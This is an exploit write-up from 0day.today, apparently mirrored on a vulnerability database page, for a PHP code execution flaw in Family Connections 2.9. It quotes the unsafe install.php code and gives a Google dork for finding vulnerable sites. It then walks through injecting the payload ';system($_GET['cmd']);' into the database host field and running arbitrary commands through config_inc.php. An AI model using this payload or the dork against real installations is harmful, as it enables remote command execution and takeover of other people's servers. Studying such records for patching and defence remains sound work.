Lucene search
K

Family Connections 2.9 Php Code Execution

🗓️ 28 Mar 2012 00:00:00Reported by L3b-r1'zType 
zdt
 zdt
🔗 0day.today👁 35 Views

Family Connections 2.9 Php Code Execution vulnerabilit

Code
# Exploit Title:  Family   Connections  2.9 Php  COde  Execution
# Date: 28/mar/2012
# Author: L3b-r1'z
# Vendor or Software Link: http://sourceforge.net/projects/fam-connections/files/Family%20Connections/
# Version: 2.9
# Category: webapps
# Google dork: allintext: "Family  Connections  2.9"
# Tested on: linux \ bt
# Security: RISK
# Greet'z : B0x , Mad Hacker'z , Sec4ever , Sec4leb (Sec4leb.com) , I-Hmx , Mr.Black , Lito , Mr.XKILler , Mr.Ps , The Injector , Ked-Ans , Unk Hacker , Inj3ct0r Team , And All My Friends :D

vuln  COde  in : /install.php

Line : 383 {


    $file = fopen('inc/config_inc.php', 'w') or die("<h1>Error Creating Config File</h1>");
    $str  = "<?php \$cfg_mysql_host = '".$_POST['dbhost']."'; \$cfg_mysql_db = '".$_POST['dbname']."'; \$cfg_mysql_user = '".$_POST['dbuser']."'; \$cfg_mysql_pass = '".$_POST['dbpass']."'; ?".">";

    fwrite($file, $str) or die("<h1>Could not write to config.</h1>");
    fclose($file);
    }
    
let See The Config ^_^ 
----------------------
<?php 
$cfg_mysql_host = 'localhost';
$cfg_mysql_db = 'test'; 
$cfg_mysql_user = 'root'; 
$cfg_mysql_pass = 'root'; 
?>

So We Can Put  COde  Excution In Install.php 

P0c : 

Http://Domain.tld/install.php

Screen SHot :
http://stufriends.net/forum/1337/1337.png

Then Press NEXT , Then :

Put In Database Host *
----------------------
';system($_GET['cmd']);'

In Database Name * 
------------------

Any Thing

In Database Username *
----------------------

Any Thing 

In Database Password *
----------------------

Any thing 

---------

press next and go to 

Domain.tld/inc/config_inc.php?cmd=Your Linux Or Win Command ;)

B0x Thx For Help :) 

./EOM



#  0day.today [2018-03-05]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Mar 2012 00:00Current
7.1High risk
Vulners AI Score7.1
35